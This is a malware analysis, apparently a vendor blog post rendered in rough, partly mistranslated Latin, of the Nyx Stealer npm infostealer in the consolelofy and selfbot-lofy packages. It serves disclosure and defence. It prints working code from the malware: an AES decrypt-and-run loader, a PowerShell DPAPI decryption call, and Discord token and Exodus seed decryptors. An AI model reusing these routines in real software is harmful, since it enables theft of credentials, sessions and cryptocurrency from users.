TL, DR
Turma Investigationis Securitatis Xygeni expeditionem furti informationis NPM callidam, per duo fascicula maligna transmissam, identificavit: consolelofy et selfbot-lofy.
Novissima versio (consolelofy@1.3.0) sarcinam AES-encryptam 216KB includit quae tempore executionis decryptatur et per exsequitur vm.runInNewContext()Quia logica noxia plene encryptata est, scrutatores statici inspectione textuum confisi eius mores observare non possunt usque ad tempus executionis.
Postquam decryptatum est, sarcina, interne notata Fur Nyxis scuta;
- Tesserae authenticationis Discordiae
- Plus quam quinquaginta repositoria credentialium navigatoris
- Plus quam nonaginta extensiones crumenae cryptocurrentiae
- Sessiones Roblox, Instagram, Spotify, Steam, Telegram, et TikTok
- Persistentia clientis Discord in computatro
Omnes viginti versiones per utroque fasciculo nuntiatae et malignae confirmatae sunt.
Conspectus Technicus Huius Furti Informationis npm
Dissimilis programmatibus malignis traditis tempore institutionis, haec expeditio nititur... currere tempus exemplar decryptionis.
Sunt:
- Nulla maligna
preinstallorpostinstallhooks - Nullae manifestae vocationes retiales tempore institutionis
- Nulla logica collectionis credentialium in textu plano
Sarcina activatur cum modulus importatur. Totum corpus malignum cifratur et in memoria tantum tempore executionis materializatur.
Hoc consilium detectionem praesertim vitat dum fasciculus instituitur.
Quomodo Hic Furtor Informationis NPM Re Vera Exsequitur
Antequam quid Nyx Stealer furatur analysaremus, intellegendum est... quomodo exsequitur.
Ratio maligna intra hunc furem informationis npm exemplum constans sequitur:
Parvus programmator (loader) magnum onus encryptum decryptat et id dynamiciter intra contextum machinae virtualis Node.js exequitur.
Hoc consilium deliberatum est. Impetrator non solam obscurationem functionem celat, sed... removendo codicem malignum e visibilitate statica omnino.
Modelus Exsecutionis Alti Gradus
In summo gradu, involucrum quattuor res agit:
- Clavem AES ex tessera rigida utens SHA-256 derivat.
- Magnum textum cifratum hexadecimaliter codificatum utens AES-256-CBC decryptat.
- JavaScript decryptum exsequitur utens
vm.runInNewContext() - Praebet aream probationis quae adhuc primitiva executionis potentes exponit.
Summarium Technicae Primariae
| pars | Configuratio / Valor |
|---|---|
| algorithm | AES-256-CBC |
| Derivatio Clavis | SHA-256 (phrasis secreta) |
| Vector Initialisationis (IV) | XVI octeti 0x00 |
| supplicium | `vm.runInNewContext(decryptum, sandbox)` |
Critice, arenaria per haec transit:
requireprocessBuffer- timers
- exportationes modulorum
Hoc significat sarcinam decryptam plenam facultatem retinere ad:
- Processus generationis
- Lege et scribe fasciculos
- Vocationes retiales facere
- Applicationes locales mutare
Haec non est machina virtualis restricta. Est machina virtualis quae ut trampolinum exsecutionis adhibetur.
Exemplar Encryptionis Temporis Executionis (Mechanismus Executionis Centralis)
Onerator parvus est.
Corpus malignum non est.
Infra est exemplar executionis intra fasciculum inventum:
const crypto = require('crypto'); const vm = require('vm'); function decryptAndExecute(encryptedHex, passphrase) { const key = crypto.createHash('sha256') .update(passphrase) .digest(); const iv = Buffer.alloc(16, 0); const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv); let decrypted = decipher.update(encryptedHex, 'hex', 'utf8'); decrypted += decipher.final('utf8'); const sandbox = { require, module, exports, console, process, Buffer, __dirname, __filename, setTimeout, setInterval, clearTimeout, clearInterval }; vm.runInNewContext(decrypted, sandbox); }Cur haec
Charta utilis decryptata:
- Vtrum non in textu plano intra fasciculum npm exsistere
- Simplicibus invisibilis est
grepvel statica filorum perscrutatio - Solum in memoria tempore executionis materializatur
- Cum plenis facultatibus Nodi executionis exsequitur.
Haec combinatio executionis AES et VM est index validus morum... fur infostealer npm inspectionem staticam vitare conatur.
In otherwords:
Si arborem fontium fasciculi perscruteris, furem non videbis.
Decryptorem vides.
Quid post decryptionem accidit
Postquam exsecutum est, Nyx Stealer undas parallelas collectionis datorum incipit.
Unda Prima: Extractio Testimoniorum Navigatoris
Programma noxium (vel programma malignum):
- Tempus executionis Python ex NuGet CDN detrahit
- Bibliothecas cryptographicas instituit
- Extrahit repositoria credentialium Chromium fundata
- Secreta DPAPI-protecta decryptat.
Loco nexuum nativorum compilandorum, PowerShell adhibet ad DPAPI Windows directe evocandum.
function dpapiUnprotectWithPowerShell(dataBuf) { const b64 = dataBuf.toString('base64'); const ps = "Add-Type -AssemblyName System.Security;" + "$b=[Convert]::FromBase64String('" + b64 + "');" + "$p=[System.Security.Cryptography.ProtectedData]::Unprotect(" + "$b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);" + "[Console]::Out.Write([Convert]::ToBase64String($p))"; const cmd = `powershell -NoProfile -ExecutionPolicy Bypass -Command "${ps}"`; return Buffer.from(execSync(cmd, { encoding: 'utf8' }).trim(), 'base64'); }Aditus;
- Vitat artefacta compilationis
- APIs cryptographicis nativis Fenestrae utitur.
- In instrumenta administrativa miscetur
Decryptio credentialum in gradu systematis operandi est, non extractio.
Unda Secunda: Decryptio Tesserae Discordiae
Fur protocola cognoscit. Formam tesserae encryptatae Discord intellegit.
function decryptToken(encryptedToken, key) { const tokenParts = encryptedToken.split('dQw4w9WgXcQ:'); const encryptedData = Buffer.from(tokenParts[1], 'base64'); const iv = encryptedData.slice(3, 15); const ciphertext = encryptedData.slice(15, -16); const tag = encryptedData.slice(-16); const decipher = crypto.createDecipheriv('aes-256-gcm', key, iv); decipher.setAuthTag(tag); return decipher.update(ciphertext).toString('utf8'); }Fluxus operationalis:
- Clavem magistram ex Discord extrahe.
Local State - Clavem magistram per DPAPI decryptare
- Decrypta fragmenta symbolorum AES-GCM
- Tesseras contra API Discord validare
- Ditare cum Nitro, insignibus, informatione solutionis
Hoc non est vulgaris divulgatio credentialum. Est interceptio sessionis protocollo conscia.
Unda III: Destinata Cassidila Cryptopecuniae
Furtum informationis npm enumerat:
- Plus quam nonaginta extensiones crumenae navigatoris
- XXVII crumenae computatrales
- Viae crumenae frigidae
- Fasciculi seminum Exodus
Exemplum conatus decryptionis seminum:
function decryptSeco(content, password) { const key = crypto.pbkdf2Sync(password, 'exodus', 10000, 32, 'sha512'); const decipher = crypto.createDecipheriv( 'aes-256-gcm', key, content.slice(0, 12) ); decipher.setAuthTag(content.slice(-16)); return Buffer.concat([ decipher.update(content.slice(12, -16)), decipher.final() ]).toString('utf8'); }Si prospere evenit, compromissio crumenae statim et irrevocabilis est.
Hoc vectorem monetizationis maximi valoris expeditionis repraesentat.
Persistentia per Injectionem Discord Desktop
Post collectionem testimoniorum, Nyx Stealer perseverantiam conatur modificando localem... discordiae clientis.
scopum,
%LOCALAPPDATA%\Discord*\app-*\modules\discord_desktop_core\index.jsSequentia operational
Fur infostealer hos gradus perficit:
- Processus Discord currentes terminat.
- Variantes Discord installatas (Stable, Canary, PTB) locat.
- Superscribit
discord_desktop_core/index.js - Logicam interretialem ab aggressore moderatam iniicit.
- Discordia denuo incipit
Hoc efficit ut futurae sessiones Discord nova signa authenticationis sponte emanent.
Magni momenti est haec perseverantia non in operibus ordinatis aut modificationibus registri pendet. Modificationem codicis in gradu applicationis, modum furtivum, adhibet.
Etiam si fasciculus npm malitiosus postea removeatur, cliens Discord in periculum manet.
Comparatio Technica: Selfbot Legitimus contra Infostealer npm
| pars | Bibliotheca Legitima | Nyx npm Informationstealer |
|---|---|---|
| encryption | Omnia | Plena sarcina AES-encryptata |
| Machina virtualis in tempore executionis | non requiratur | vm.runInNewContext supplicium |
| Accessus Testimoniorum | API Discord tantum | Navigatrum, crumenae, DPAPI |
| Externae Deductiones | nullum | Tempus executionis Pythonis per NuGet |
| perseverantia | nullum | Iniectio clientis Discord |
| monetization | Automatio botorum | Revenditio credentialium |
Solum stratum encryptionis iam hanc expeditionem a typica furca fontis aperti separat.
Legitimus Discord selfbot nullam causam habet totam suam codicem encryptandi, PowerShell generandi ad DPAPI accedendum, tempora executionis externa prehendendi, vel interna applicationum escritorio modificandi. Cum hae facultates intra dependentiam apparent quae interactiones Discord automatizare profitetur, discrepantia architecturae ignorari non potest.
Ex prospectu investigationis, hic fur infostealer npm vestigia per multa strata relinquit. Attamen, indicia certissima non sunt URLs rigide scriptae aut semitae fasciculorum specificae, cum hae inter versiones mutari possint. Potius, signa durabilia structuralia sunt.
In gradu fasciculi, vexillum rubrum validissimum est coniunctio magnae sarcinae encryptatae et involucri decryptionis tempore executionis qui statim perficitur. vm.runInNewContext()Quamquam sola encryptio non est per se noxia, usus decryptionis AES deinde exsecutionis dynamicae machinae virtualis intra fasciculum utilitatis Discord valde anomalus est.
In gradu hospitis, exempla suspecta includunt actionem decryptionis DPAPI inexpectatam, processus ex contextu dependentiae Node.js oriundos, et modificationem fasciculorum applicationis localis qui numquam a bibliothecis tertiarum partium mutari debent. Similiter, in strato retiario, communicatio egressa in modum webhook, a dependentia evolutionis initiata, aliam anomaliam significantem repraesentat.
Aliis verbis, superficies detectionis non est singularis indicium compromissi. Est correlatio encryptionis, executionis tempore executionis, accessus credentialis, et habitus perseverantiae quae minam revelat.
Detectio et Mitigatio cum Xygeni
Hic fur infostealer npm agnitus est ab Monitum Praecox de Programmatibus Maligni (MEW) Xygeni per correlationem morum stratificatam potius quam per simplicem congruentiam signaturarum.
Loco investigationis notarum serierum malignarum, MEW anomalias structurales per totam arborem fontium aestimat. Hoc in casu, detectio ex convergentia plurium signorum orta est: subscriptio decryptionis AES inclusa in puncto ingressus moduli, executio immediata intra contextum VM, et manifesta discrepantia inter facultatem et propositum.
Magni momenti est quod nullum horum signorum per se consilium malignum probat. Attamen, cum simul examinantur, conatum celandi mores tempore executionis revelant. Haec ratio stratificata falsos positivos significanter minuit dum minas catenae commeatus magnae fiduciae identificat.
Praeterea, hoc exemplum illustrat cur sola inspectio tempore institutionis non sufficiat. Logica maligna non in scriptis cycli vitae residet. Activatur tantum postquam modulus oneratur et fit visibilis tantum postquam in memoria decryptatus est. Ergo, defensio efficax requirit analysin encryptionis consciam, recognitionem exemplorum morum, et continuam dependentiae monitorationem ultra eventus institutionis.
Sublatio registri reactiva est. Analysis tempore executionis conscia praecavens est.
Cur Hic Fur Informationis NPM Interest
Nyx Stealer evolutionem structuralem in programmate maligno (malware) npm fundato repraesentat.
Historice, multae sarcinae malignae in scriptis tempore institutionis visibilibus vel in extremis exfiltrationis credentialibus manifestis nitebantur. Contra, haec expeditio onus suum encryptat, executionem ad tempus executionis differt, API systematis operandi legitimas adhibet, et persistentiam intra applicationes fidas constituit.
Proinde, aggressor non opus est ipsam infrastructuram npm uti. Immo, impetus succedit quia installatio dependentiarum fidem implicat. Elaboratores putant importationem bibliothecae operationem tutam esse, praesertim cum se praebet ut furcam probabilem instrumenti popularis.
Dum oecosystemata crescunt et furcae multiplicantur, limes ille fiduciae implicitae superficies impetus magis magisque attractiva fit. Ergo, ad defensionem contra modernos fures informationis (infostealers) NPM (NPM) pertinentis requiritur agnitio exemplorum architecturae potius quam investigatio filorum staticorum.
Denique, haec expeditio lectionem magni momenti in... confirmat. software supply chain securityPericulosissimae minae non sunt quae primo aspectu malignae videntur, sed quae structura legitima apparent donec tempus executionis verum earum modum patefaciat.
